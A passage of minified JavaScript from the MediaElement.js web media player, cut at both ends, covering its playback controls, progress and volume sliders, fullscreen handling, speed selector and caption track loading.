class="mejs-overlay-button"></div></div>').appendTo(d).bind("click",function(){f.options.clickToPlayPause&&e.paused&&e.play()});e.addEventListener("play",function(){i.hide(),g.hide(),c.find(".mejs-time-buffering").hide(),h.hide()},!1),e.addEventListener("playing",function(){i.hide(),g.hide(),c.find(".mejs-time-buffering").hide(),h.hide()},!1),e.addEventListener("seeking",function(){g.show(),c.find(".mejs-time-buffering").show()},!1),e.addEventListener("seeked",function(){g.hide(),c.find(".mejs-time-buffering").hide()},!1),e.addEventListener("pause",function(){mejs.MediaFeatures.isiPhone||i.show()},!1),e.addEventListener("waiting",function(){g.show(),c.find(".mejs-time-buffering").show()},!1),e.addEventListener("loadeddata",function(){g.show(),c.find(".mejs-time-buffering").show(),mejs.MediaFeatures.isAndroid&&(e.canplayTimeout=window.setTimeout(function(){if(document.createEvent){var a=document.createEvent("HTMLEvents");return a.initEvent("canplay",!0,!0),e.dispatchEvent(a)}},300))},!1),e.addEventListener("canplay",function(){g.hide(),c.find(".mejs-time-buffering").hide(),clearTimeout(e.canplayTimeout)},!1),e.addEventListener("error",function(){g.hide(),c.find(".mejs-time-buffering").hide(),h.show(),h.find("mejs-overlay-error").html("Error loading this resource")},!1),e.addEventListener("keydown",function(a){f.onkeydown(b,e,a)},!1)}},buildkeyboard:function(b,c,d,e){var f=this;f.container.keydown(function(){f.keyboardAction=!0}),f.globalBind("keydown",function(a){return f.onkeydown(b,e,a)}),f.globalBind("click",function(c){b.hasFocus=0!==a(c.target).closest(".mejs-container").length})},onkeydown:function(a,b,c){if(a.hasFocus&&a.options.enableKeyboard)for(var d=0,e=a.options.keyActions.length;e>d;d++)for(var f=a.options.keyActions[d],g=0,h=f.keys.length;h>g;g++)if(c.keyCode==f.keys[g])return"function"==typeof c.preventDefault&&c.preventDefault(),f.action(a,b,c.keyCode),!1;return!0},findTracks:function(){var b=this,c=b.$media.find("track");b.tracks=[],c.each(function(c,d){d=a(d),b.tracks.push({srclang:d.attr("srclang")?d.attr("srclang").toLowerCase():"",src:d.attr("src"),kind:d.attr("kind"),label:d.attr("label")||"",entries:[],isLoaded:!1})})},changeSkin:function(a){this.container[0].className="mejs-container "+a,this.setPlayerSize(this.width,this.height),this.setControlsSize()},play:function(){this.load(),this.media.play()},pause:function(){try{this.media.pause()}catch(a){}},load:function(){this.isLoaded||this.media.load(),this.isLoaded=!0},setMuted:function(a){this.media.setMuted(a)},setCurrentTime:function(a){this.media.setCurrentTime(a)},getCurrentTime:function(){return this.media.currentTime},setVolume:function(a){this.media.setVolume(a)},getVolume:function(){return this.media.volume},setSrc:function(a){this.media.setSrc(a)},remove:function(){var a,b,c=this;for(a in c.options.features)if(b=c.options.features[a],c["clean"+b])try{c["clean"+b](c)}catch(d){}c.isDynamic?c.$node.insertBefore(c.container):(c.$media.prop("controls",!0),c.$node.clone().insertBefore(c.container).show(),c.$node.remove()),"native"!==c.media.pluginType&&c.media.remove(),delete mejs.players[c.id],"object"==typeof c.container&&c.container.remove(),c.globalUnbind(),delete c.node.player}},function(){function b(b,d){var e={d:[],w:[]};return a.each((b||"").split(" "),function(a,b){var f=b+"."+d;0===f.indexOf(".")?(e.d.push(f),e.w.push(f)):e[c.test(b)?"w":"d"].push(f)}),e.d=e.d.join(" "),e.w=e.w.join(" "),e}var c=/^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/;mejs.MediaElementPlayer.prototype.globalBind=function(c,d,e){var f=this;c=b(c,f.id),c.d&&a(document).bind(c.d,d,e),c.w&&a(window).bind(c.w,d,e)},mejs.MediaElementPlayer.prototype.globalUnbind=function(c,d){var e=this;c=b(c,e.id),c.d&&a(document).unbind(c.d,d),c.w&&a(window).unbind(c.w,d)}}(),"undefined"!=typeof a&&(a.fn.mediaelementplayer=function(b){return this.each(b===!1?function(){var b=a(this).data("mediaelementplayer");b&&b.remove(),a(this).removeData("mediaelementplayer")}:function(){a(this).data("mediaelementplayer",new mejs.MediaElementPlayer(this,b))}),this},a(document).ready(function(){a(".mejs-player").mediaelementplayer()})),window.MediaElementPlayer=mejs.MediaElementPlayer}(mejs.$),function(a){a.extend(mejs.MepDefaults,{playText:mejs.i18n.t("Play"),pauseText:mejs.i18n.t("Pause")}),a.extend(MediaElementPlayer.prototype,{buildplaypause:function(b,c,d,e){function f(a){"play"===a?(i.removeClass("mejs-play").addClass("mejs-pause"),j.attr({title:h.pauseText,"aria-label":h.pauseText})):(i.removeClass("mejs-pause").addClass("mejs-play"),j.attr({title:h.playText,"aria-label":h.playText}))}var g=this,h=g.options,i=a('<div class="mejs-button mejs-playpause-button mejs-play" ><button type="button" aria-controls="'+g.id+'" title="'+h.playText+'" aria-label="'+h.playText+'"></button></div>').appendTo(c).click(function(a){return a.preventDefault(),e.paused?e.play():e.pause(),!1}),j=i.find("button");f("pse"),e.addEventListener("play",function(){f("play")},!1),e.addEventListener("playing",function(){f("play")},!1),e.addEventListener("pause",function(){f("pse")},!1),e.addEventListener("paused",function(){f("pse")},!1)}})}(mejs.$),function(a){a.extend(mejs.MepDefaults,{stopText:"Stop"}),a.extend(MediaElementPlayer.prototype,{buildstop:function(b,c,d,e){{var f=this;a('<div class="mejs-button mejs-stop-button mejs-stop"><button type="button" aria-controls="'+f.id+'" title="'+f.options.stopText+'" aria-label="'+f.options.stopText+'"></button></div>').appendTo(c).click(function(){e.paused||e.pause(),e.currentTime>0&&(e.setCurrentTime(0),e.pause(),c.find(".mejs-time-current").width("0px"),c.find(".mejs-time-handle").css("left","0px"),c.find(".mejs-time-float-current").html(mejs.Utility.secondsToTimeCode(0)),c.find(".mejs-currenttime").html(mejs.Utility.secondsToTimeCode(0)),d.find(".mejs-poster").show())})}}})}(mejs.$),function(a){a.extend(mejs.MepDefaults,{progessHelpText:mejs.i18n.t("Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.")}),a.extend(MediaElementPlayer.prototype,{buildprogress:function(b,c,d,e){a('<div class="mejs-time-rail"><a href="javascript:void(0);" class="mejs-time-total mejs-time-slider"><span class="mejs-offscreen">'+this.options.progessHelpText+'</span><span class="mejs-time-buffering"></span><span class="mejs-time-loaded"></span><span class="mejs-time-current"></span><span class="mejs-time-handle"></span><span class="mejs-time-float"><span class="mejs-time-float-current">00:00</span><span class="mejs-time-float-corner"></span></span></a></div>').appendTo(c),c.find(".mejs-time-buffering").hide();var f=this,g=c.find(".mejs-time-total"),h=c.find(".mejs-time-loaded"),i=c.find(".mejs-time-current"),j=c.find(".mejs-time-handle"),k=c.find(".mejs-time-float"),l=c.find(".mejs-time-float-current"),m=c.find(".mejs-time-slider"),n=function(a){var b,c=g.offset(),d=g.outerWidth(!0),f=0,h=0,i=0;b=a.originalEvent.changedTouches?a.originalEvent.changedTouches[0].pageX:a.pageX,e.duration&&(b<c.left?b=c.left:b>d+c.left&&(b=d+c.left),i=b-c.left,f=i/d,h=.02>=f?0:f*e.duration,o&&h!==e.currentTime&&e.setCurrentTime(h),mejs.MediaFeatures.hasTouch||(k.css("left",i),l.html(mejs.Utility.secondsToTimeCode(h)),k.show()))},o=!1,p=!1,q=0,r=!1,s=b.options.autoRewind,t=function(){var a=e.currentTime,b=mejs.i18n.t("Time Slider"),c=mejs.Utility.secondsToTimeCode(a),d=e.duration;m.attr({"aria-label":b,"aria-valuemin":0,"aria-valuemax":d,"aria-valuenow":a,"aria-valuetext":c,role:"slider",tabindex:0})},u=function(){var a=new Date;a-q>=1e3&&e.play()};m.bind("focus",function(){b.options.autoRewind=!1}),m.bind("blur",function(){b.options.autoRewind=s}),m.bind("keydown",function(a){new Date-q>=1e3&&(r=e.paused);var b=a.keyCode,c=e.duration,d=e.currentTime;switch(b){case 37:d-=1;break;case 39:d+=1;break;case 38:d+=Math.floor(.1*c);break;case 40:d-=Math.floor(.1*c);break;case 36:d=0;break;case 35:d=c;break;case 10:return void(e.paused?e.play():e.pause());case 13:return void(e.paused?e.play():e.pause());default:return}return d=0>d?0:d>=c?c:Math.floor(d),q=new Date,r||e.pause(),d<e.duration&&!r&&setTimeout(u,1100),e.setCurrentTime(d),a.preventDefault(),a.stopPropagation(),!1}),g.bind("mousedown touchstart",function(a){(1===a.which||0===a.which)&&(o=!0,n(a),f.globalBind("mousemove.dur touchmove.dur",function(a){n(a)}),f.globalBind("mouseup.dur touchend.dur",function(){o=!1,k.hide(),f.globalUnbind(".dur")}))}).bind("mouseenter",function(){p=!0,f.globalBind("mousemove.dur",function(a){n(a)}),mejs.MediaFeatures.hasTouch||k.show()}).bind("mouseleave",function(){p=!1,o||(f.globalUnbind(".dur"),k.hide())}),e.addEventListener("progress",function(a){b.setProgressRail(a),b.setCurrentRail(a)},!1),e.addEventListener("timeupdate",function(a){b.setProgressRail(a),b.setCurrentRail(a),t(a)},!1),f.loaded=h,f.total=g,f.current=i,f.handle=j},setProgressRail:function(a){var b=this,c=void 0!==a?a.target:b.media,d=null;c&&c.buffered&&c.buffered.length>0&&c.buffered.end&&c.duration?d=c.buffered.end(0)/c.duration:c&&void 0!==c.bytesTotal&&c.bytesTotal>0&&void 0!==c.bufferedBytes?d=c.bufferedBytes/c.bytesTotal:a&&a.lengthComputable&&0!==a.total&&(d=a.loaded/a.total),null!==d&&(d=Math.min(1,Math.max(0,d)),b.loaded&&b.total&&b.loaded.width(b.total.width()*d))},setCurrentRail:function(){var a=this;if(void 0!==a.media.currentTime&&a.media.duration&&a.total&&a.handle){var b=Math.round(a.total.width()*a.media.currentTime/a.media.duration),c=b-Math.round(a.handle.outerWidth(!0)/2);a.current.width(b),a.handle.css("left",c)}}})}(mejs.$),function(a){a.extend(mejs.MepDefaults,{duration:-1,timeAndDurationSeparator:"<span> | </span>"}),a.extend(MediaElementPlayer.prototype,{buildcurrent:function(b,c,d,e){var f=this;a('<div class="mejs-time" role="timer" aria-live="off"><span class="mejs-currenttime">'+(b.options.alwaysShowHours?"00:":"")+(b.options.showTimecodeFrameCount?"00:00:00":"00:00")+"</span></div>").appendTo(c),f.currenttime=f.controls.find(".mejs-currenttime"),e.addEventListener("timeupdate",function(){b.updateCurrent()},!1)},buildduration:function(b,c,d,e){var f=this;c.children().last().find(".mejs-currenttime").length>0?a(f.options.timeAndDurationSeparator+'<span class="mejs-duration">'+(f.options.duration>0?mejs.Utility.secondsToTimeCode(f.options.duration,f.options.alwaysShowHours||f.media.duration>3600,f.options.showTimecodeFrameCount,f.options.framesPerSecond||25):(b.options.alwaysShowHours?"00:":"")+(b.options.showTimecodeFrameCount?"00:00:00":"00:00"))+"</span>").appendTo(c.find(".mejs-time")):(c.find(".mejs-currenttime").parent().addClass("mejs-currenttime-container"),a('<div class="mejs-time mejs-duration-container"><span class="mejs-duration">'+(f.options.duration>0?mejs.Utility.secondsToTimeCode(f.options.duration,f.options.alwaysShowHours||f.media.duration>3600,f.options.showTimecodeFrameCount,f.options.framesPerSecond||25):(b.options.alwaysShowHours?"00:":"")+(b.options.showTimecodeFrameCount?"00:00:00":"00:00"))+"</span></div>").appendTo(c)),f.durationD=f.controls.find(".mejs-duration"),e.addEventListener("timeupdate",function(){b.updateDuration()},!1)},updateCurrent:function(){var a=this;a.currenttime&&a.currenttime.html(mejs.Utility.secondsToTimeCode(a.media.currentTime,a.options.alwaysShowHours||a.media.duration>3600,a.options.showTimecodeFrameCount,a.options.framesPerSecond||25))},updateDuration:function(){var a=this;a.container.toggleClass("mejs-long-video",a.media.duration>3600),a.durationD&&(a.options.duration>0||a.media.duration)&&a.durationD.html(mejs.Utility.secondsToTimeCode(a.options.duration>0?a.options.duration:a.media.duration,a.options.alwaysShowHours,a.options.showTimecodeFrameCount,a.options.framesPerSecond||25))}})}(mejs.$),function(a){a.extend(mejs.MepDefaults,{muteText:mejs.i18n.t("Mute Toggle"),allyVolumeControlText:mejs.i18n.t("Use Up/Down Arrow keys to increase or decrease volume."),hideVolumeOnTouchDevices:!0,audioVolume:"horizontal",videoVolume:"vertical"}),a.extend(MediaElementPlayer.prototype,{buildvolume:function(b,c,d,e){if(!mejs.MediaFeatures.isAndroid&&!mejs.MediaFeatures.isiOS||!this.options.hideVolumeOnTouchDevices){var f=this,g=f.isVideo?f.options.videoVolume:f.options.audioVolume,h="horizontal"==g?a('<div class="mejs-button mejs-volume-button mejs-mute"><button type="button" aria-controls="'+f.id+'" title="'+f.options.muteText+'" aria-label="'+f.options.muteText+'"></button></div><a href="javascript:void(0);" class="mejs-horizontal-volume-slider"><span class="mejs-offscreen">'+f.options.allyVolumeControlText+'</span><div class="mejs-horizontal-volume-total"></div><div class="mejs-horizontal-volume-current"></div><div class="mejs-horizontal-volume-handle"></div></a>').appendTo(c):a('<div class="mejs-button mejs-volume-button mejs-mute"><button type="button" aria-controls="'+f.id+'" title="'+f.options.muteText+'" aria-label="'+f.options.muteText+'"></button><a href="javascript:void(0);" class="mejs-volume-slider"><span class="mejs-offscreen">'+f.options.allyVolumeControlText+'</span><div class="mejs-volume-total"></div><div class="mejs-volume-current"></div><div class="mejs-volume-handle"></div></a></div>').appendTo(c),i=f.container.find(".mejs-volume-slider, .mejs-horizontal-volume-slider"),j=f.container.find(".mejs-volume-total, .mejs-horizontal-volume-total"),k=f.container.find(".mejs-volume-current, .mejs-horizontal-volume-current"),l=f.container.find(".mejs-volume-handle, .mejs-horizontal-volume-handle"),m=function(a,b){if(!i.is(":visible")&&"undefined"==typeof b)return i.show(),m(a,!0),void i.hide();a=Math.max(0,a),a=Math.min(a,1),0===a?h.removeClass("mejs-mute").addClass("mejs-unmute"):h.removeClass("mejs-unmute").addClass("mejs-mute");var c=j.position();if("vertical"==g){var d=j.height(),e=d-d*a;l.css("top",Math.round(c.top+e-l.height()/2)),k.height(d-e),k.css("top",c.top+e)}else{var f=j.width(),n=f*a;l.css("left",Math.round(c.left+n-l.width()/2)),k.width(Math.round(n))}},n=function(a){var b=null,c=j.offset();if("vertical"===g){var d=j.height(),f=(parseInt(j.css("top").replace(/px/,""),10),a.pageY-c.top);if(b=(d-f)/d,0===c.top||0===c.left)return}else{var h=j.width(),i=a.pageX-c.left;b=i/h}b=Math.max(0,b),b=Math.min(b,1),m(b),e.setMuted(0===b?!0:!1),e.setVolume(b)},o=!1,p=!1;h.hover(function(){i.show(),p=!0},function(){p=!1,o||"vertical"!=g||i.hide()});var q=function(){var a=Math.floor(100*e.volume);i.attr({"aria-label":mejs.i18n.t("volumeSlider"),"aria-valuemin":0,"aria-valuemax":100,"aria-valuenow":a,"aria-valuetext":a+"%",role:"slider",tabindex:0})};i.bind("mouseover",function(){p=!0}).bind("mousedown",function(a){return n(a),f.globalBind("mousemove.vol",function(a){n(a)}),f.globalBind("mouseup.vol",function(){o=!1,f.globalUnbind(".vol"),p||"vertical"!=g||i.hide()}),o=!0,!1}).bind("keydown",function(a){var b=a.keyCode,c=e.volume;switch(b){case 38:c+=.1;break;case 40:c-=.1;break;default:return!0}return o=!1,m(c),e.setVolume(c),!1}).bind("blur",function(){i.hide()}),h.find("button").click(function(){e.setMuted(!e.muted)}),h.find("button").bind("focus",function(){i.show()}),e.addEventListener("volumechange",function(a){o||(e.muted?(m(0),h.removeClass("mejs-mute").addClass("mejs-unmute")):(m(e.volume),h.removeClass("mejs-unmute").addClass("mejs-mute"))),q(a)},!1),f.container.is(":visible")&&(m(b.options.startVolume),0===b.options.startVolume&&e.setMuted(!0),"native"===e.pluginType&&e.setVolume(b.options.startVolume))}}})}(mejs.$),function(a){a.extend(mejs.MepDefaults,{usePluginFullScreen:!0,newWindowCallback:function(){return""},fullscreenText:mejs.i18n.t("Fullscreen")}),a.extend(MediaElementPlayer.prototype,{isFullScreen:!1,isNativeFullScreen:!1,isInIframe:!1,buildfullscreen:function(b,c,d,e){if(b.isVideo){if(b.isInIframe=window.location!=window.parent.location,mejs.MediaFeatures.hasTrueNativeFullScreen){var f=function(){b.isFullScreen&&(mejs.MediaFeatures.isFullScreen()?(b.isNativeFullScreen=!0,b.setControlsSize()):(b.isNativeFullScreen=!1,b.exitFullScreen()))};b.globalBind(mejs.MediaFeatures.fullScreenEventName,f)}var g=this,h=(b.container,a('<div class="mejs-button mejs-fullscreen-button"><button type="button" aria-controls="'+g.id+'" title="'+g.options.fullscreenText+'" aria-label="'+g.options.fullscreenText+'"></button></div>').appendTo(c));if("native"===g.media.pluginType||!g.options.usePluginFullScreen&&!mejs.MediaFeatures.isFirefox)h.click(function(){var a=mejs.MediaFeatures.hasTrueNativeFullScreen&&mejs.MediaFeatures.isFullScreen()||b.isFullScreen;a?b.exitFullScreen():b.enterFullScreen()});else{var i=null,j=function(){var a,b=document.createElement("x"),c=document.documentElement,d=window.getComputedStyle;return"pointerEvents"in b.style?(b.style.pointerEvents="auto",b.style.pointerEvents="x",c.appendChild(b),a=d&&"auto"===d(b,"").pointerEvents,c.removeChild(b),!!a):!1}();if(j&&!mejs.MediaFeatures.isOpera){var k,l,m=!1,n=function(){if(m){for(var a in o)o[a].hide();h.css("pointer-events",""),g.controls.css("pointer-events",""),g.media.removeEventListener("click",g.clickToPlayPauseCallback),m=!1}},o={},p=["top","left","right","bottom"],q=function(){var a=h.offset().left-g.container.offset().left,b=h.offset().top-g.container.offset().top,c=h.outerWidth(!0),d=h.outerHeight(!0),e=g.container.width(),f=g.container.height();for(k in o)o[k].css({position:"absolute",top:0,left:0});o.top.width(e).height(b),o.left.width(a).height(d).css({top:b}),o.right.width(e-a-c).height(d).css({top:b,left:a+c}),o.bottom.width(e).height(f-d-b).css({top:b+d})};for(g.globalBind("resize",function(){q()}),k=0,l=p.length;l>k;k++)o[p[k]]=a('<div class="mejs-fullscreen-hover" />').appendTo(g.container).mouseover(n).hide();h.on("mouseover",function(){if(!g.isFullScreen){var a=h.offset(),c=b.container.offset();e.positionFullscreenButton(a.left-c.left,a.top-c.top,!1),h.css("pointer-events","none"),g.controls.css("pointer-events","none"),g.media.addEventListener("click",g.clickToPlayPauseCallback);for(k in o)o[k].show();q(),m=!0}}),e.addEventListener("fullscreenchange",function(){g.isFullScreen=!g.isFullScreen,g.isFullScreen?g.media.removeEventListener("click",g.clickToPlayPauseCallback):g.media.addEventListener("click",g.clickToPlayPauseCallback),n()}),g.globalBind("mousemove",function(a){if(m){var b=h.offset();(a.pageY<b.top||a.pageY>b.top+h.outerHeight(!0)||a.pageX<b.left||a.pageX>b.left+h.outerWidth(!0))&&(h.css("pointer-events",""),g.controls.css("pointer-events",""),m=!1)
+}})}else h.on("mouseover",function(){null!==i&&(clearTimeout(i),delete i);var a=h.offset(),c=b.container.offset();e.positionFullscreenButton(a.left-c.left,a.top-c.top,!0)}).on("mouseout",function(){null!==i&&(clearTimeout(i),delete i),i=setTimeout(function(){e.hideFullscreenButton()},1500)})}b.fullscreenBtn=h,g.globalBind("keydown",function(a){(mejs.MediaFeatures.hasTrueNativeFullScreen&&mejs.MediaFeatures.isFullScreen()||g.isFullScreen)&&27==a.keyCode&&b.exitFullScreen()})}},cleanfullscreen:function(a){a.exitFullScreen()},containerSizeTimeout:null,enterFullScreen:function(){var b=this;if("native"===b.media.pluginType||!mejs.MediaFeatures.isFirefox&&!b.options.usePluginFullScreen){if(a(document.documentElement).addClass("mejs-fullscreen"),normalHeight=b.container.height(),normalWidth=b.container.width(),"native"===b.media.pluginType)if(mejs.MediaFeatures.hasTrueNativeFullScreen)mejs.MediaFeatures.requestFullScreen(b.container[0]),b.isInIframe&&setTimeout(function d(){if(b.isNativeFullScreen){var c=window.devicePixelRatio||1,e=.002,f=c*a(window).width(),g=screen.width,h=Math.abs(g-f),i=g*e;h>i?b.exitFullScreen():setTimeout(d,500)}},500);else if(mejs.MediaFeatures.hasSemiNativeFullScreen)return void b.media.webkitEnterFullscreen();if(b.isInIframe){var c=b.options.newWindowCallback(this);if(""!==c){if(!mejs.MediaFeatures.hasTrueNativeFullScreen)return b.pause(),void window.open(c,b.id,"top=0,left=0,width="+screen.availWidth+",height="+screen.availHeight+",resizable=yes,scrollbars=no,status=no,toolbar=no");setTimeout(function(){b.isNativeFullScreen||(b.pause(),window.open(c,b.id,"top=0,left=0,width="+screen.availWidth+",height="+screen.availHeight+",resizable=yes,scrollbars=no,status=no,toolbar=no"))},250)}}b.container.addClass("mejs-container-fullscreen").width("100%").height("100%"),b.containerSizeTimeout=setTimeout(function(){b.container.css({width:"100%",height:"100%"}),b.setControlsSize()},500),"native"===b.media.pluginType?b.$media.width("100%").height("100%"):(b.container.find(".mejs-shim").width("100%").height("100%"),b.media.setVideoSize(a(window).width(),a(window).height())),b.layers.children("div").width("100%").height("100%"),b.fullscreenBtn&&b.fullscreenBtn.removeClass("mejs-fullscreen").addClass("mejs-unfullscreen"),b.setControlsSize(),b.isFullScreen=!0,b.container.find(".mejs-captions-text").css("font-size",screen.width/b.width*1*100+"%"),b.container.find(".mejs-captions-position").css("bottom","45px")}},exitFullScreen:function(){var b=this;return clearTimeout(b.containerSizeTimeout),"native"!==b.media.pluginType&&mejs.MediaFeatures.isFirefox?void b.media.setFullscreen(!1):(mejs.MediaFeatures.hasTrueNativeFullScreen&&(mejs.MediaFeatures.isFullScreen()||b.isFullScreen)&&mejs.MediaFeatures.cancelFullScreen(),a(document.documentElement).removeClass("mejs-fullscreen"),b.container.removeClass("mejs-container-fullscreen").width(normalWidth).height(normalHeight),"native"===b.media.pluginType?b.$media.width(normalWidth).height(normalHeight):(b.container.find(".mejs-shim").width(normalWidth).height(normalHeight),b.media.setVideoSize(normalWidth,normalHeight)),b.layers.children("div").width(normalWidth).height(normalHeight),b.fullscreenBtn.removeClass("mejs-unfullscreen").addClass("mejs-fullscreen"),b.setControlsSize(),b.isFullScreen=!1,b.container.find(".mejs-captions-text").css("font-size",""),void b.container.find(".mejs-captions-position").css("bottom",""))}})}(mejs.$),function(a){a.extend(mejs.MepDefaults,{speeds:["2.00","1.50","1.25","1.00","0.75"],defaultSpeed:"1.00",speedChar:"x"}),a.extend(MediaElementPlayer.prototype,{buildspeed:function(b,c,d,e){var f=this;if("native"==f.media.pluginType){var g=null,h=null,i='<div class="mejs-button mejs-speed-button"><button type="button">'+f.options.defaultSpeed+f.options.speedChar+'</button><div class="mejs-speed-selector"><ul>';-1===a.inArray(f.options.defaultSpeed,f.options.speeds)&&f.options.speeds.push(f.options.defaultSpeed),f.options.speeds.sort(function(a,b){return parseFloat(b)-parseFloat(a)});for(var j=0,k=f.options.speeds.length;k>j;j++)i+='<li><input type="radio" name="speed" value="'+f.options.speeds[j]+'" id="'+f.options.speeds[j]+'" '+(f.options.speeds[j]==f.options.defaultSpeed?" checked":"")+' /><label for="'+f.options.speeds[j]+'" '+(f.options.speeds[j]==f.options.defaultSpeed?' class="mejs-speed-selected"':"")+">"+f.options.speeds[j]+f.options.speedChar+"</label></li>";i+="</ul></div></div>",g=a(i).appendTo(c),h=g.find(".mejs-speed-selector"),playbackspeed=f.options.defaultSpeed,h.on("click",'input[type="radio"]',function(){var b=a(this).attr("value");playbackspeed=b,e.playbackRate=parseFloat(b),g.find("button").html("test"+b+f.options.speedChar),g.find(".mejs-speed-selected").removeClass("mejs-speed-selected"),g.find('input[type="radio"]:checked').next().addClass("mejs-speed-selected")}),h.height(g.find(".mejs-speed-selector ul").outerHeight(!0)+g.find(".mejs-speed-translations").outerHeight(!0)).css("top",-1*h.height()+"px")}}})}(mejs.$),function(a){a.extend(mejs.MepDefaults,{startLanguage:"",tracksText:mejs.i18n.t("Captions/Subtitles"),hideCaptionsButtonWhenEmpty:!0,toggleCaptionsButtonWhenOnlyOne:!1,slidesSelector:""}),a.extend(MediaElementPlayer.prototype,{hasChapters:!1,buildtracks:function(b,c,d,e){if(0!==b.tracks.length){var f,g=this;if(g.domNode.textTracks)for(f=g.domNode.textTracks.length-1;f>=0;f--)g.domNode.textTracks[f].mode="hidden";b.chapters=a('<div class="mejs-chapters mejs-layer"></div>').prependTo(d).hide(),b.captions=a('<div class="mejs-captions-layer mejs-layer"><div class="mejs-captions-position mejs-captions-position-hover" role="log" aria-live="assertive" aria-atomic="false"><span class="mejs-captions-text"></span></div></div>').prependTo(d).hide(),b.captionsText=b.captions.find(".mejs-captions-text"),b.captionsButton=a('<div class="mejs-button mejs-captions-button"><button type="button" aria-controls="'+g.id+'" title="'+g.options.tracksText+'" aria-label="'+g.options.tracksText+'"></button><div class="mejs-captions-selector"><ul><li><input type="radio" name="'+b.id+'_captions" id="'+b.id+'_captions_none" value="none" checked="checked" /><label for="'+b.id+'_captions_none">'+mejs.i18n.t("None")+"</label></li></ul></div></div>").appendTo(c);var h=0;for(f=0;f<b.tracks.length;f++)"subtitles"==b.tracks[f].kind&&h++;for(g.options.toggleCaptionsButtonWhenOnlyOne&&1==h?b.captionsButton.on("click",function(){lang=null===b.selectedTrack?b.tracks[0].srclang:"none",b.setTrack(lang)}):(b.captionsButton.on("mouseenter focusin",function(){a(this).find(".mejs-captions-selector").css("visibility","visible")}).on("click","input[type=radio]",function(){lang=this.value,b.setTrack(lang)}),b.captionsButton.on("mouseleave focusout",function(){a(this).find(".mejs-captions-selector").css("visibility","hidden")})),b.options.alwaysShowControls?b.container.find(".mejs-captions-position").addClass("mejs-captions-position-hover"):b.container.bind("controlsshown",function(){b.container.find(".mejs-captions-position").addClass("mejs-captions-position-hover")}).bind("controlshidden",function(){e.paused||b.container.find(".mejs-captions-position").removeClass("mejs-captions-position-hover")}),b.trackToLoad=-1,b.selectedTrack=null,b.isLoadingTrack=!1,f=0;f<b.tracks.length;f++)"subtitles"==b.tracks[f].kind&&b.addTrackButton(b.tracks[f].srclang,b.tracks[f].label);b.loadNextTrack(),e.addEventListener("timeupdate",function(){b.displayCaptions()},!1),""!==b.options.slidesSelector&&(b.slidesContainer=a(b.options.slidesSelector),e.addEventListener("timeupdate",function(){b.displaySlides()},!1)),e.addEventListener("loadedmetadata",function(){b.displayChapters()},!1),b.container.hover(function(){b.hasChapters&&(b.chapters.css("visibility","visible"),b.chapters.fadeIn(200).height(b.chapters.find(".mejs-chapter").outerHeight()))},function(){b.hasChapters&&!e.paused&&b.chapters.fadeOut(200,function(){a(this).css("visibility","hidden"),a(this).css("display","block")})}),null!==b.node.getAttribute("autoplay")&&b.chapters.css("visibility","hidden")}},setTrack:function(a){var b,c=this;if("none"==a)c.selectedTrack=null,c.captionsButton.removeClass("mejs-captions-enabled");else for(b=0;b<c.tracks.length;b++)if(c.tracks[b].srclang==a){null===c.selectedTrack&&c.captionsButton.addClass("mejs-captions-enabled"),c.selectedTrack=c.tracks[b],c.captions.attr("lang",c.selectedTrack.srclang),c.displayCaptions();break}},loadNextTrack:function(){var a=this;a.trackToLoad++,a.trackToLoad<a.tracks.length?(a.isLoadingTrack=!0,a.loadTrack(a.trackToLoad)):(a.isLoadingTrack=!1,a.checkForTracks())},loadTrack:function(b){var c=this,d=c.tracks[b],e=function(){d.isLoaded=!0,c.enableTrackButton(d.srclang,d.label),c.loadNextTrack()};a.ajax({url:d.src,dataType:"text",success:function(a){d.entries="string"==typeof a&&/<tt\s+xml/gi.exec(a)?mejs.TrackFormatParser.dfxp.parse(a):mejs.TrackFormatParser.webvtt.parse(a),e(),"chapters"==d.kind&&c.media.addEventListener("play",function(){c.media.duration>0&&c.displayChapters(d)},!1),"slides"==d.kind&&c.setupSlides(d)},error:function(){c.loadNextTrack()}})},enableTrackButton:function(b,c){var d=this;""===c&&(c=mejs.language.codes[b]||b),d.captionsButton.find("input[value="+b+"]").prop("disabled",!1).siblings("label").html(c),d.options.startLanguage==b&&a("#"+d.id+"_captions_"+b).prop("checked",!0).trigger("click"),d.adjustLanguageBox()},addTrackButton:function(b,c){var d=this;""===c&&(c=mejs.language.codes[b]||b),d.captionsButton.find("ul").append(a('<li><input type="radio" name="'+d.id+'_captions" id="'+d.id+"_captions_"+b+'" value="'+b+'" disabled="disabled" /><label for="'+d.id+"_captions_"+b+'">'+c+" (loading)</label></li>")),d.adjustLanguageBox(),d.container.find(".mejs-captions-translations option[value="+b+"]").remove()},adjustLanguageBox:function(){var a=this;a.captionsButton.find(".mejs-captions-selector").height(a.captionsButton.find(".mejs-captions-selector ul").outerHeight(!0)+a.captionsButton.find(".mejs-captions-translations").outerHeight(!0))},checkForTracks:function(){var a=this,b=!1;if(a.options.hideCaptionsButtonWhenEmpty){for(i=0;i<a.tracks.length;i++)if("subtitles"==a.tracks[i].kind){b=!0;break}b||(a.captionsButton.hide(),a.setControlsSize())}},displayCaptions:function(){if("undefined"!=typeof this.tracks){var a,b=this,c=b.selectedTrack;if(null!==c&&c.isLoaded){for(a=0;a<c.entries.times.length;a++)if(b.media.currentTime>=c.entries.times[a].start&&b.media.currentTime<=c.entries.times[a].stop)return b.captionsText.html(c.entries.text[a]).attr("class","mejs-captions-text "+(c.entries.times[a].identifier||"")),void b.captions.show().height(0);b.captions.hide()}else b.captions.hide()}},setupSlides:function(a){var b=this;b.slides=a,b.slides.entries.imgs=[b.slides.entries.text.length],b.showSlide(0)},showSlide:function(b){if("undefined"!=typeof this.tracks&&"undefined"!=typeof this.slidesContainer){var c=this,d=c.slides.entries.text[b],e=c.slides.entries.imgs[b];"undefined"==typeof e||"undefined"==typeof e.fadeIn?c.slides.entries.imgs[b]=e=a('<img src="'+d+'">').on("load",function(){e.appendTo(c.slidesContainer).hide().fadeIn().siblings(":visible").fadeOut()}):e.is(":visible")||e.is(":animated")||e.fadeIn().siblings(":visible").fadeOut()}},displaySlides:function(){if("undefined"!=typeof this.slides){var a,b=this,c=b.slides;for(a=0;a<c.entries.times.length;a++)if(b.media.currentTime>=c.entries.times[a].start&&b.media.currentTime<=c.entries.times[a].stop)return void b.showSlide(a)}},displayChapters:function(){var 